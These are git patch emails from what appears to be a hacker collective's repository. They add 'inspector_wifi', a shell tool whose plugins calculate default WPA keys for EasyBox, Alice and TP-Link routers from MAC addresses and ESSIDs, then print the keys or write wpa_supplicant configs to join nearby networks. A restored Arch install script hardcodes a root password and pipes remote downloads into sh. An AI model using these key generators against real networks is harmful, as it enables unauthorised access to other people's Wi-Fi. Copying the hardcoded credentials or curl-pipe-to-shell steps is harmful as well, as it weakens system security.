From 004e3ad3efb6e4bc19604467f4da8b03b28dbbbe Mon Sep 17 00:00:00 2001 From: lassulus Date: Tue, 23 Dec 2014 00:29:00 +0100 Subject: ./inspector_wifi -w for wpa_supplicant output --- recon/wifi_inspector/inspector_wifi | 47 +++++++++++++++++++++++++++++++------ 1 file changed, 40 insertions(+), 7 deletions(-) diff --git a/recon/wifi_inspector/inspector_wifi b/recon/wifi_inspector/inspector_wifi index 06f37ddb..bf2297d9 100755 --- a/recon/wifi_inspector/inspector_wifi +++ b/recon/wifi_inspector/inspector_wifi @@ -2,19 +2,33 @@ # Usage; sudo iwlist wlan0 scan | ./inspector_wifi # # -set -eu +# set -eu cd "$(dirname "$(readlink -f "$0")")" -echo "waiting for iwlist scan data..." >&2 +#echo "waiting for iwlist scan data..." >&2 crack_wifi(){ for i in plugins/*;do if RET=$(./$i "$@" 2>/dev/null);then - echo "$@ - with crack $i succeeded - Key is $RET" + if [ ! -z wpa_sup ]; then + make_config $@ $RET + else + echo "$@ - with crack $i succeeded - Key is $RET" + fi fi done } +make_config(){ + cat< Date: Tue, 23 Dec 2014 00:31:47 +0100 Subject: wifi_inspector is really inspector_wifi --- recon/inspector_wifi/.gitignore | 1 + recon/inspector_wifi/README.md | 49 ++++++++++++++ recon/inspector_wifi/TODO | 9 +++ recon/inspector_wifi/inspector_wifi | 108 +++++++++++++++++++++++++++++++ recon/inspector_wifi/plugins/01open | 6 ++ recon/inspector_wifi/plugins/02alice | 20 ++++++ recon/inspector_wifi/plugins/02easybox | 37 +++++++++++ recon/inspector_wifi/plugins/02tplink | 17 +++++ recon/inspector_wifi/plugins/plugin_core | 41 ++++++++++++ recon/wifi_inspector/.gitignore | 1 - recon/wifi_inspector/README.md | 49 -------------- recon/wifi_inspector/TODO | 9 --- recon/wifi_inspector/inspector_wifi | 108 ------------------------------- recon/wifi_inspector/plugins/01open | 6 -- recon/wifi_inspector/plugins/02alice | 20 ------ recon/wifi_inspector/plugins/02easybox | 37 ----------- recon/wifi_inspector/plugins/02tplink | 17 ----- recon/wifi_inspector/plugins/plugin_core | 41 ------------ 18 files changed, 288 insertions(+), 288 deletions(-) create mode 100644 recon/inspector_wifi/.gitignore create mode 100644 recon/inspector_wifi/README.md create mode 100644 recon/inspector_wifi/TODO create mode 100755 recon/inspector_wifi/inspector_wifi create mode 100755 recon/inspector_wifi/plugins/01open create mode 100755 recon/inspector_wifi/plugins/02alice create mode 100755 recon/inspector_wifi/plugins/02easybox create mode 100755 recon/inspector_wifi/plugins/02tplink create mode 100644 recon/inspector_wifi/plugins/plugin_core delete mode 100644 recon/wifi_inspector/.gitignore delete mode 100644 recon/wifi_inspector/README.md delete mode 100644 recon/wifi_inspector/TODO delete mode 100755 recon/wifi_inspector/inspector_wifi delete mode 100755 recon/wifi_inspector/plugins/01open delete mode 100755 recon/wifi_inspector/plugins/02alice delete mode 100755 recon/wifi_inspector/plugins/02easybox delete mode 100755 recon/wifi_inspector/plugins/02tplink delete mode 100644 recon/wifi_inspector/plugins/plugin_core diff --git a/recon/inspector_wifi/.gitignore b/recon/inspector_wifi/.gitignore new file mode 100644 index 00000000..05ba1603 --- /dev/null +++ b/recon/inspector_wifi/.gitignore @@ -0,0 +1 @@ +/etc/autowifi/wifi_keys diff --git a/recon/inspector_wifi/README.md b/recon/inspector_wifi/README.md new file mode 100644 index 00000000..3e0d8dce --- /dev/null +++ b/recon/inspector_wifi/README.md @@ -0,0 +1,49 @@ +# Autowifi +Author: makefu,lassulus + +Status: Pre-Alpha - it will most likely break if you try to use it + +# Contact + +twitter: @krebsbob ,@makefoo + +IRC: freenode #krebs + +# Goals +Goal of autowifi is to provide a tool which automatically can connect to +networks in an unknown environment. + +This can either be done by connecting to open networks, known networks +(whitelist) or by calculating weak default wpa keys (for example easybox +default passwords). + +# Audience +Due to the current status of the project the target audience are +linux users with technical background . + +# Usage + + # all as root + # try to find networks to connect to around you + usr/bin/autowifi_dryrun quiet + + # start the autowifi daemon which tries to stay in networks all the time + usr/bin/autowifi + +# Plugins +All tests to open up networks are implemented in plugins in + usr/lib/autowifi/plugins + +## Run a single Plugin +This can be used for testing purposes, e.g. test a single plugin against given networks directly + + # try out the easybox keygen + usr/lib/autowifi/plugins/02easybox SSID MAC CHANNEL ENCRYPTION(wpa_cli style) + + #e.g. + usr/lib/autowifi/plugins/02easybox Easybox-123456 00:11:22:33:44:55 7 "[wpa]" + +# Disclaimer +- use at own risk +- only run in lab environment +- you break it, you buy it diff --git a/recon/inspector_wifi/TODO b/recon/inspector_wifi/TODO new file mode 100644 index 00000000..ddd59818 --- /dev/null +++ b/recon/inspector_wifi/TODO @@ -0,0 +1,9 @@ +more intelligent autoconnect (open first, encrypted second etc.) + perform initial scan on startup of unscanned networks + sort networks by bandwidth and connect +profiles ala netcfg/netctl +better profile hooks + +Implement: + - Droid Default WPA2 Pass for HotSpot: CVE-2013-4622: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-4622 + - EasyBox 802/803 default WPS Pin: http://packetstormsecurity.com/files/122698/SA-20130805-0.txt diff --git a/recon/inspector_wifi/inspector_wifi b/recon/inspector_wifi/inspector_wifi new file mode 100755 index 00000000..bf2297d9 --- /dev/null +++ b/recon/inspector_wifi/inspector_wifi @@ -0,0 +1,108 @@ +#!/bin/sh +# Usage; sudo iwlist wlan0 scan | ./inspector_wifi +# +# +# set -eu + +cd "$(dirname "$(readlink -f "$0")")" +#echo "waiting for iwlist scan data..." >&2 + +crack_wifi(){ + for i in plugins/*;do + if RET=$(./$i "$@" 2>/dev/null);then + if [ ! -z wpa_sup ]; then + make_config $@ $RET + else + echo "$@ - with crack $i succeeded - Key is $RET" + fi + fi + done +} + +make_config(){ + cat</dev/null; then + echo "Essid $ESSID is not Default EasyBox|Arcor|Vodafone" + exit 1 +else + + # Fill up to 4 places with zeros, if necessary: + deci=$(printf "%04d" "0x${MAC:8:4}" | sed 's/.*\(....\)/\1/;s/./& /g') + # + # The digits M9 to M12 are just the last digits (9.-12.) of the MAC: + hexi=$(echo ${MAC:8:4} | sed 's/./& /g') + #echo 'M4 (Hex): ' ${hexi[@]} + # K1 = last byte of (d0 + d1 + h2 + h3) + # K2 = last byte of (h0 + h1 + d2 + d3) + c1=$(printf "%d + %d + %d + %d" ${deci:0:1} ${deci:2:1} 0x${hexi:4:1} 0x${hexi:6:1}) + c2=$(printf "%d + %d + %d + %d" 0x${hexi:0:1} 0x${hexi:2:1} ${deci:4:1} ${deci:6:1}) + K1=$((($c1)%16)) + K2=$((($c2)%16)) + #printf "K1: %x\n" $K1 + #printf "K2: %x\n" $K2 + X1=$((K1^${deci:6:1})) + X2=$((K1^${deci:4:1})) + X3=$((K1^${deci:2:1})) + Y1=$((K2^0x${hexi:2:1})) + Y2=$((K2^0x${hexi:4:1})) + Y3=$((K2^0x${hexi:6:1})) + Z1=$((0x${hexi:4:1}^${deci:6:1})) + Z2=$((0x${hexi:6:1}^${deci:4:1})) + Z3=$((K1^K2)) + printf "%x%x%x%x%x%x%x%x%x\n" $X1 $Y1 $Z1 $X2 $Y2 $Z2 $X3 $Y3 $Z3 | tr a-f A-F +fi diff --git a/recon/inspector_wifi/plugins/02tplink b/recon/inspector_wifi/plugins/02tplink new file mode 100755 index 00000000..751ec209 --- /dev/null +++ b/recon/inspector_wifi/plugins/02tplink @@ -0,0 +1,17 @@ +#!/bin/sh +# Implementation of TP-Link default WPA Key +# Based on +# http://www.wardriving-forum.de/forum/f321/ezwlan-android-2-1-a-70045-4.html#post342481 + +cd $(dirname $(readlink -f $0)) +. ./plugin_core + +parse_plugin_args "$@" + +! check_vendor_mac $VENDOR_MAC "F8D111" && echo "$VENDOR_MAC not affected" && exit 1 +! echo $ESSID | egrep -q '^tp' && echo "$ESSID not affected" && exit 1 + + +# printf always makes string to lower, need that for correct md5sum +printf ${MAC:4:12} +exit 0 diff --git a/recon/inspector_wifi/plugins/plugin_core b/recon/inspector_wifi/plugins/plugin_core new file mode 100644 index 00000000..e79a3c05 --- /dev/null +++ b/recon/inspector_wifi/plugins/plugin_core @@ -0,0 +1,41 @@ +#!/bin/sh +parse_plugin_args(){ + [ $# -ne 4 ] && plugin_usage && exit 1 + # convenience function to put args in ENV variables + ESSID="$1" + + # mac is returned without colon + MAC=$(printf "%s" "$2" | sed 's/://g') + # split up the mac address to vendor and private part + VENDOR_MAC=${MAC:0:6} + PRIVATE_MAC=${MAC:6:12} + CHANNEL="$3" + ENC="$4" + if [ ${#MAC} -ne 12 ] ;then + echo "MAC malformed" + exit 1 + fi +} +plugin_usage(){ + cat << EOF +usage: $0 ESSID MAC CHANNEL ENC" + + ESSID - string + MAC - 00:11:22:33:44:55 + CHANNEL - 4 + ENC - wpa +EOF + +} + +check_vendor_mac(){ + needle="$(printf $1 | tr '[A-Z]' '[a-z]')" + shift + for i in "$@";do + [ "$needle" == "$(printf $i | tr '[A-Z]' '[a-z]')" ] && return 0 + done + return 1 +} +check_painmode(){ + test -z "${painmode:-}" && echo "painmode required" && exit 1 +} diff --git a/recon/wifi_inspector/.gitignore b/recon/wifi_inspector/.gitignore deleted file mode 100644 index 05ba1603..00000000 --- a/recon/wifi_inspector/.gitignore +++ /dev/null @@ -1 +0,0 @@ -/etc/autowifi/wifi_keys diff --git a/recon/wifi_inspector/README.md b/recon/wifi_inspector/README.md deleted file mode 100644 index 3e0d8dce..00000000 --- a/recon/wifi_inspector/README.md +++ /dev/null @@ -1,49 +0,0 @@ -# Autowifi -Author: makefu,lassulus - -Status: Pre-Alpha - it will most likely break if you try to use it - -# Contact - -twitter: @krebsbob ,@makefoo - -IRC: freenode #krebs - -# Goals -Goal of autowifi is to provide a tool which automatically can connect to -networks in an unknown environment. - -This can either be done by connecting to open networks, known networks -(whitelist) or by calculating weak default wpa keys (for example easybox -default passwords). - -# Audience -Due to the current status of the project the target audience are -linux users with technical background . - -# Usage - - # all as root - # try to find networks to connect to around you - usr/bin/autowifi_dryrun quiet - - # start the autowifi daemon which tries to stay in networks all the time - usr/bin/autowifi - -# Plugins -All tests to open up networks are implemented in plugins in - usr/lib/autowifi/plugins - -## Run a single Plugin -This can be used for testing purposes, e.g. test a single plugin against given networks directly - - # try out the easybox keygen - usr/lib/autowifi/plugins/02easybox SSID MAC CHANNEL ENCRYPTION(wpa_cli style) - - #e.g. - usr/lib/autowifi/plugins/02easybox Easybox-123456 00:11:22:33:44:55 7 "[wpa]" - -# Disclaimer -- use at own risk -- only run in lab environment -- you break it, you buy it diff --git a/recon/wifi_inspector/TODO b/recon/wifi_inspector/TODO deleted file mode 100644 index ddd59818..00000000 --- a/recon/wifi_inspector/TODO +++ /dev/null @@ -1,9 +0,0 @@ -more intelligent autoconnect (open first, encrypted second etc.) - perform initial scan on startup of unscanned networks - sort networks by bandwidth and connect -profiles ala netcfg/netctl -better profile hooks - -Implement: - - Droid Default WPA2 Pass for HotSpot: CVE-2013-4622: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-4622 - - EasyBox 802/803 default WPS Pin: http://packetstormsecurity.com/files/122698/SA-20130805-0.txt diff --git a/recon/wifi_inspector/inspector_wifi b/recon/wifi_inspector/inspector_wifi deleted file mode 100755 index bf2297d9..00000000 --- a/recon/wifi_inspector/inspector_wifi +++ /dev/null @@ -1,108 +0,0 @@ -#!/bin/sh -# Usage; sudo iwlist wlan0 scan | ./inspector_wifi -# -# -# set -eu - -cd "$(dirname "$(readlink -f "$0")")" -#echo "waiting for iwlist scan data..." >&2 - -crack_wifi(){ - for i in plugins/*;do - if RET=$(./$i "$@" 2>/dev/null);then - if [ ! -z wpa_sup ]; then - make_config $@ $RET - else - echo "$@ - with crack $i succeeded - Key is $RET" - fi - fi - done -} - -make_config(){ - cat</dev/null; then - echo "Essid $ESSID is not Default EasyBox|Arcor|Vodafone" - exit 1 -else - - # Fill up to 4 places with zeros, if necessary: - deci=$(printf "%04d" "0x${MAC:8:4}" | sed 's/.*\(....\)/\1/;s/./& /g') - # - # The digits M9 to M12 are just the last digits (9.-12.) of the MAC: - hexi=$(echo ${MAC:8:4} | sed 's/./& /g') - #echo 'M4 (Hex): ' ${hexi[@]} - # K1 = last byte of (d0 + d1 + h2 + h3) - # K2 = last byte of (h0 + h1 + d2 + d3) - c1=$(printf "%d + %d + %d + %d" ${deci:0:1} ${deci:2:1} 0x${hexi:4:1} 0x${hexi:6:1}) - c2=$(printf "%d + %d + %d + %d" 0x${hexi:0:1} 0x${hexi:2:1} ${deci:4:1} ${deci:6:1}) - K1=$((($c1)%16)) - K2=$((($c2)%16)) - #printf "K1: %x\n" $K1 - #printf "K2: %x\n" $K2 - X1=$((K1^${deci:6:1})) - X2=$((K1^${deci:4:1})) - X3=$((K1^${deci:2:1})) - Y1=$((K2^0x${hexi:2:1})) - Y2=$((K2^0x${hexi:4:1})) - Y3=$((K2^0x${hexi:6:1})) - Z1=$((0x${hexi:4:1}^${deci:6:1})) - Z2=$((0x${hexi:6:1}^${deci:4:1})) - Z3=$((K1^K2)) - printf "%x%x%x%x%x%x%x%x%x\n" $X1 $Y1 $Z1 $X2 $Y2 $Z2 $X3 $Y3 $Z3 | tr a-f A-F -fi diff --git a/recon/wifi_inspector/plugins/02tplink b/recon/wifi_inspector/plugins/02tplink deleted file mode 100755 index 751ec209..00000000 --- a/recon/wifi_inspector/plugins/02tplink +++ /dev/null @@ -1,17 +0,0 @@ -#!/bin/sh -# Implementation of TP-Link default WPA Key -# Based on -# http://www.wardriving-forum.de/forum/f321/ezwlan-android-2-1-a-70045-4.html#post342481 - -cd $(dirname $(readlink -f $0)) -. ./plugin_core - -parse_plugin_args "$@" - -! check_vendor_mac $VENDOR_MAC "F8D111" && echo "$VENDOR_MAC not affected" && exit 1 -! echo $ESSID | egrep -q '^tp' && echo "$ESSID not affected" && exit 1 - - -# printf always makes string to lower, need that for correct md5sum -printf ${MAC:4:12} -exit 0 diff --git a/recon/wifi_inspector/plugins/plugin_core b/recon/wifi_inspector/plugins/plugin_core deleted file mode 100644 index e79a3c05..00000000 --- a/recon/wifi_inspector/plugins/plugin_core +++ /dev/null @@ -1,41 +0,0 @@ -#!/bin/sh -parse_plugin_args(){ - [ $# -ne 4 ] && plugin_usage && exit 1 - # convenience function to put args in ENV variables - ESSID="$1" - - # mac is returned without colon - MAC=$(printf "%s" "$2" | sed 's/://g') - # split up the mac address to vendor and private part - VENDOR_MAC=${MAC:0:6} - PRIVATE_MAC=${MAC:6:12} - CHANNEL="$3" - ENC="$4" - if [ ${#MAC} -ne 12 ] ;then - echo "MAC malformed" - exit 1 - fi -} -plugin_usage(){ - cat << EOF -usage: $0 ESSID MAC CHANNEL ENC" - - ESSID - string - MAC - 00:11:22:33:44:55 - CHANNEL - 4 - ENC - wpa -EOF - -} - -check_vendor_mac(){ - needle="$(printf $1 | tr '[A-Z]' '[a-z]')" - shift - for i in "$@";do - [ "$needle" == "$(printf $i | tr '[A-Z]' '[a-z]')" ] && return 0 - done - return 1 -} -check_painmode(){ - test -z "${painmode:-}" && echo "painmode required" && exit 1 -} -- cgit v1.2.3 From 22ba628a7ed68b4a9a1f1bcd692c8f8fe031aeda Mon Sep 17 00:00:00 2001 From: lassulus Date: Tue, 23 Dec 2014 00:54:10 +0100 Subject: add usage for inspector_wifi --- recon/inspector_wifi/inspector_wifi | 30 ++++++++++++++++++++++-------- 1 file changed, 22 insertions(+), 8 deletions(-) diff --git a/recon/inspector_wifi/inspector_wifi b/recon/inspector_wifi/inspector_wifi index bf2297d9..a13ecd3d 100755 --- a/recon/inspector_wifi/inspector_wifi +++ b/recon/inspector_wifi/inspector_wifi @@ -5,7 +5,16 @@ # set -eu cd "$(dirname "$(readlink -f "$0")")" -#echo "waiting for iwlist scan data..." >&2 + +usage(){ + echo '-h show this help' + echo '-w output in wpa_supplicant.conf format' + echo '-n normal output message' + echo '' + echo 'Example: iwlist wlan0 scan | ./inspector_wifi -w' + + exit 0 +} crack_wifi(){ for i in plugins/*;do @@ -92,17 +101,22 @@ print_wpa_supplicant(){ echo "args $@" } -while getopts hw OPT; do + +if [ $# -eq 0 ]; then + usage +fi + +while getopts wn OPT; do case "$OPT" in - h) - echo $USAGE - exit 0 - ;; w) wpa_sup=1 ;; - *) + n) + ;; + \?) + usage ;; esac done -wifi_init + +iwlist_scan_parser -- cgit v1.2.3 From 8db6cecf6f088ebac98a6be15d920ab412a1c510 Mon Sep 17 00:00:00 2001 From: lassulus Date: Thu, 25 Dec 2014 00:58:39 +0100 Subject: Revert "boot? who would need that anyway?" This reverts commit c76bde383a2d7c62ff2d50f4bdae345e0edc74fa. --- .graveyard/boot/arch_install.sh | 117 ---------------------------------------- .graveyard/boot/lighttpd.conf | 12 ----- .graveyard/boot/painload.sh | 1 - .graveyard/boot/retiolum.sh | 1 - boot/arch_install.sh | 117 ++++++++++++++++++++++++++++++++++++++++ boot/lighttpd.conf | 12 +++++ boot/painload.sh | 1 + boot/retiolum.sh | 1 + 8 files changed, 131 insertions(+), 131 deletions(-) delete mode 100644 .graveyard/boot/arch_install.sh delete mode 100644 .graveyard/boot/lighttpd.conf delete mode 120000 .graveyard/boot/painload.sh delete mode 120000 .graveyard/boot/retiolum.sh create mode 100644 boot/arch_install.sh create mode 100644 boot/lighttpd.conf create mode 120000 boot/painload.sh create mode 120000 boot/retiolum.sh diff --git a/.graveyard/boot/arch_install.sh b/.graveyard/boot/arch_install.sh deleted file mode 100644 index ee23ed20..00000000 --- a/.graveyard/boot/arch_install.sh +++ /dev/null @@ -1,117 +0,0 @@ -#/bin/sh -green='\e[0;32m' -red='\e[0;31m' -nc='\e[0m' - -if find /dev/disk/by-label/ -name ARCH_\* |xargs readlink |grep sda; then - if test -e /dev/sdb; then - rootdisk='/dev/sdb' - else - echo "$red could not find rootdrive $nc" - echo "$red You're on your own, good luck! $nc" - fi -else - rootdisk='/dev/sda' -fi - -echo -e "$green Your rootdisk is $rootdisk $nc" -sleep 3 - -echo -e "$green Starting network $nc" -dhcpcd -ping -c 1 google.de -W 5 &>/dev/null || (echo "No internet, please fix manually and restart autoinstall.sh !!!!" && exit 1) -echo -e "$green network connection successfull $nc" -sleep 1 -umount /mnt/boot -umount /mnt/home -umount /mnt -echo -e "$green starting partitioning $nc" -#(echo -e "o\nn\n1\n\n+256m\nn\n2\n\n\nw\n") |fdisk /dev/sda -(echo -e "o\nn\np\n\n\n+256M\n\a\nn\np\n\n\n\nw\n") |fdisk $rootdisk -echo -e "$green done partitioning $nc" -sleep 1 -#sfdisk /dev/sda << EOF -#1,100,,* -#; -#EOF -echo -e "$green generating filesystem on /boot $nc" -mkfs.ext2 ${rootdisk}1 -echo -e "$green Done! $nc" -sleep 1 -echo -e "$green starting LVM magic $nc" -vgchange -an -vgremove -f pool0 -pvcreate ${rootdisk}2 -vgcreate -ff pool0 ${rootdisk}2 -lvcreate -L 5G -n root pool0 -lvcreate -l 80%FREE -n home pool0 -echo -e "$green finished creating LVM $nc" -sleep 1 -echo -e "$green generating filesystems on the LVM $nc" -mkfs.ext4 /dev/mapper/pool0-root -mkfs.ext4 /dev/mapper/pool0-home -echo -e "$green finished generating filesystems $nc" -sleep 1 -echo -e "$green mounting... $nc" -mount /dev/mapper/pool0-root /mnt -mkdir /mnt/boot -mkdir /mnt/home -mount /dev/mapper/pool0-home /mnt/home -mount ${rootdisk}1 /mnt/boot - -echo -e "$green finished mounting! $nc" -sleep 1 -echo -e "$green installing! $nc" -if ping -c 1 heidi.shack -W 5&>/dev/null; then - http_proxy=heidi.shack:3142 -else - http_proxy='' -fi -http_proxy=${http_proxy} pacstrap /mnt base base-devel xorg vim xfce4 feh chromium zsh sudo git flashplugin alsa-oss alsa-lib alsa-utils grub-bios slim ntp tinc -echo -e "$green installation done $nc" -sleep 1 -echo -e "$green generating configs $nc" -genfstab -U -p /mnt > /mnt/etc/fstab -arch-chroot /mnt << EOF -echo -e "$green generating locales $nc" -ln -s /usr/share/zoneinfo/Europe/Berlin /etc/localtime -echo "LANG=en_US.UTF-8" >> /etc/locale.conf -echo "en_US.UTF-8 UTF-8" >> /etc/locale.gen -locale-gen -echo "shackbook$RANDOM" > /etc/hostname -sed -i 's/block/block lvm2/g' /etc/mkinitcpio.conf -echo -e "$green Done! $nc" -mkinitcpio -p linux -echo -e "$green setting root password $nc" -echo -e "shackit\nshackit" | (passwd ) -echo -e "$green adding user $nc" -useradd -d /home/shack -m -p 6blz/r41ITbNc -G audio,video,wheel -s /usr/bin/zsh shack -echo -e "$green editing sudoers $nc" -echo -e "root ALL=(ALL) ALL\n%wheel ALL=(ALL) ALL" > /etc/sudoers -echo -e "$green configuring slim $nc" -echo -e "default_user\tshack\nfocus_password\tyes" >> /etc/slim.conf -echo -e "$green configuring .xinitrc $nc" -echo -e "exec startxfce4" >> /home/shack/.xinitrc -echo -e "$green enabeling slim $nc" -systemctl enable slim.service -echo -e "$green enabeling dhcpcd$nc" -systemctl enable dhcpcd -echo -e "$green enabeling ntp $n" -systemctl enable ntpd -echo -e "$green installing grub $nc" -grub-install ${rootdisk} -grub-mkconfig -o /boot/grub/grub.cfg -#syslinux-install_update -i -a -m -#sed -i 's/APPEND.*/APPEND root=\/dev\/mapper\/pool0-root/g' /boot/syslinux/syslinux.cfg -su shack -echo -e "$green installing oh-my-zsh $nc" -curl -L https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh | sh -sed -i 's/robbyrussell/afowler/g' /home/shack/.zshrc -echo -e "$green fixing chrome for incognito use $nc" -sed -i 's/Exec=chromium/Exec=chromium --incognito/g' /usr/share/applications/chromium.desktop -exit -echo - "$green starting verkrebsung $nc" -curl tinc.krebsco.de | sh -exit -EOF -echo -e "$green We're all done, simply reboot! $nc" diff --git a/.graveyard/boot/lighttpd.conf b/.graveyard/boot/lighttpd.conf deleted file mode 100644 index e8d621aa..00000000 --- a/.graveyard/boot/lighttpd.conf +++ /dev/null @@ -1,12 +0,0 @@ -$HTTP["host"] =~ "(^|\.)boot\.krebsco\.de$" { - server.document-root = "/krebs/boot" - server.errorlog = "/var/log/lighttpd/boot.krebsco.de/error.log" - accesslog.filename = "/var/log/lighttpd/boot.krebsco.de/access.log" - url.rewrite-if-not-file = ( ".*" => "/bootstrap.sh" ) -} -$HTTP["host"] =~ "(^|\.)tinc\.krebsco\.de$" { - server.document-root = "/krebs/boot" - server.errorlog = "/var/log/lighttpd/boot.krebsco.de/error.log" - accesslog.filename = "/var/log/lighttpd/boot.krebsco.de/access.log" - url.rewrite-if-not-file = ( ".*" => "/retiolum.sh" ) -} diff --git a/.graveyard/boot/painload.sh b/.graveyard/boot/painload.sh deleted file mode 120000 index 1ee91d92..00000000 --- a/.graveyard/boot/painload.sh +++ /dev/null @@ -1 +0,0 @@ -../infest/bootstrap.sh \ No newline at end of file diff --git a/.graveyard/boot/retiolum.sh b/.graveyard/boot/retiolum.sh deleted file mode 120000 index 69425ea9..00000000 --- a/.graveyard/boot/retiolum.sh +++ /dev/null @@ -1 +0,0 @@ -../retiolum/scripts/tinc_setup/new_install.sh \ No newline at end of file diff --git a/boot/arch_install.sh b/boot/arch_install.sh new file mode 100644 index 00000000..ee23ed20 --- /dev/null +++ b/boot/arch_install.sh @@ -0,0 +1,117 @@ +#/bin/sh +green='\e[0;32m' +red='\e[0;31m' +nc='\e[0m' + +if find /dev/disk/by-label/ -name ARCH_\* |xargs readlink |grep sda; then + if test -e /dev/sdb; then + rootdisk='/dev/sdb' + else + echo "$red could not find rootdrive $nc" + echo "$red You're on your own, good luck! $nc" + fi +else + rootdisk='/dev/sda' +fi + +echo -e "$green Your rootdisk is $rootdisk $nc" +sleep 3 + +echo -e "$green Starting network $nc" +dhcpcd +ping -c 1 google.de -W 5 &>/dev/null || (echo "No internet, please fix manually and restart autoinstall.sh !!!!" && exit 1) +echo -e "$green network connection successfull $nc" +sleep 1 +umount /mnt/boot +umount /mnt/home +umount /mnt +echo -e "$green starting partitioning $nc" +#(echo -e "o\nn\n1\n\n+256m\nn\n2\n\n\nw\n") |fdisk /dev/sda +(echo -e "o\nn\np\n\n\n+256M\n\a\nn\np\n\n\n\nw\n") |fdisk $rootdisk +echo -e "$green done partitioning $nc" +sleep 1 +#sfdisk /dev/sda << EOF +#1,100,,* +#; +#EOF +echo -e "$green generating filesystem on /boot $nc" +mkfs.ext2 ${rootdisk}1 +echo -e "$green Done! $nc" +sleep 1 +echo -e "$green starting LVM magic $nc" +vgchange -an +vgremove -f pool0 +pvcreate ${rootdisk}2 +vgcreate -ff pool0 ${rootdisk}2 +lvcreate -L 5G -n root pool0 +lvcreate -l 80%FREE -n home pool0 +echo -e "$green finished creating LVM $nc" +sleep 1 +echo -e "$green generating filesystems on the LVM $nc" +mkfs.ext4 /dev/mapper/pool0-root +mkfs.ext4 /dev/mapper/pool0-home +echo -e "$green finished generating filesystems $nc" +sleep 1 +echo -e "$green mounting... $nc" +mount /dev/mapper/pool0-root /mnt +mkdir /mnt/boot +mkdir /mnt/home +mount /dev/mapper/pool0-home /mnt/home +mount ${rootdisk}1 /mnt/boot + +echo -e "$green finished mounting! $nc" +sleep 1 +echo -e "$green installing! $nc" +if ping -c 1 heidi.shack -W 5&>/dev/null; then + http_proxy=heidi.shack:3142 +else + http_proxy='' +fi +http_proxy=${http_proxy} pacstrap /mnt base base-devel xorg vim xfce4 feh chromium zsh sudo git flashplugin alsa-oss alsa-lib alsa-utils grub-bios slim ntp tinc +echo -e "$green installation done $nc" +sleep 1 +echo -e "$green generating configs $nc" +genfstab -U -p /mnt > /mnt/etc/fstab +arch-chroot /mnt << EOF +echo -e "$green generating locales $nc" +ln -s /usr/share/zoneinfo/Europe/Berlin /etc/localtime +echo "LANG=en_US.UTF-8" >> /etc/locale.conf +echo "en_US.UTF-8 UTF-8" >> /etc/locale.gen +locale-gen +echo "shackbook$RANDOM" > /etc/hostname +sed -i 's/block/block lvm2/g' /etc/mkinitcpio.conf +echo -e "$green Done! $nc" +mkinitcpio -p linux +echo -e "$green setting root password $nc" +echo -e "shackit\nshackit" | (passwd ) +echo -e "$green adding user $nc" +useradd -d /home/shack -m -p 6blz/r41ITbNc -G audio,video,wheel -s /usr/bin/zsh shack +echo -e "$green editing sudoers $nc" +echo -e "root ALL=(ALL) ALL\n%wheel ALL=(ALL) ALL" > /etc/sudoers +echo -e "$green configuring slim $nc" +echo -e "default_user\tshack\nfocus_password\tyes" >> /etc/slim.conf +echo -e "$green configuring .xinitrc $nc" +echo -e "exec startxfce4" >> /home/shack/.xinitrc +echo -e "$green enabeling slim $nc" +systemctl enable slim.service +echo -e "$green enabeling dhcpcd$nc" +systemctl enable dhcpcd +echo -e "$green enabeling ntp $n" +systemctl enable ntpd +echo -e "$green installing grub $nc" +grub-install ${rootdisk} +grub-mkconfig -o /boot/grub/grub.cfg +#syslinux-install_update -i -a -m +#sed -i 's/APPEND.*/APPEND root=\/dev\/mapper\/pool0-root/g' /boot/syslinux/syslinux.cfg +su shack +echo -e "$green installing oh-my-zsh $nc" +curl -L https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh | sh +sed -i 's/robbyrussell/afowler/g' /home/shack/.zshrc +echo -e "$green fixing chrome for incognito use $nc" +sed -i 's/Exec=chromium/Exec=chromium --incognito/g' /usr/share/applications/chromium.desktop +exit +echo - "$green starting verkrebsung $nc" +curl tinc.krebsco.de | sh +exit +EOF +echo -e "$green We're all done, simply reboot! $nc" diff --git a/boot/lighttpd.conf b/boot/lighttpd.conf new file mode 100644 index 00000000..e8d621aa --- /dev/null +++ b/boot/lighttpd.conf @@ -0,0 +1,12 @@ +$HTTP["host"] =~ "(^|\.)boot\.krebsco\.de$" { + server.document-root = "/krebs/boot" + server.errorlog = "/var/log/lighttpd/boot.krebsco.de/error.log" + accesslog.filename = "/var/log/lighttpd/boot.krebsco.de/access.log" + url.rewrite-if-not-file = ( ".*" => "/bootstrap.sh" ) +} +$HTTP["host"] =~ "(^|\.)tinc\.krebsco\.de$" { + server.document-root = "/krebs/boot" + server.errorlog = "/var/log/lighttpd/boot.krebsco.de/error.log" + accesslog.filename = "/var/log/lighttpd/boot.krebsco.de/access.log" + url.rewrite-if-not-file = ( ".*" => "/retiolum.sh" ) +} diff --git a/boot/painload.sh b/boot/painload.sh new file mode 120000 index 00000000..1ee91d92 --- /dev/null +++ b/boot/painload.sh @@ -0,0 +1 @@ +../infest/bootstrap.sh \ No newline at end of file diff --git a/boot/retiolum.sh b/boot/retiolum.sh new file mode 120000 index 00000000..69425ea9 --- /dev/null +++ b/boot/retiolum.sh @@ -0,0 +1 @@ +../retiolum/scripts/tinc_setup/new_install.sh \ No newline at end of file -- cgit v1.2.3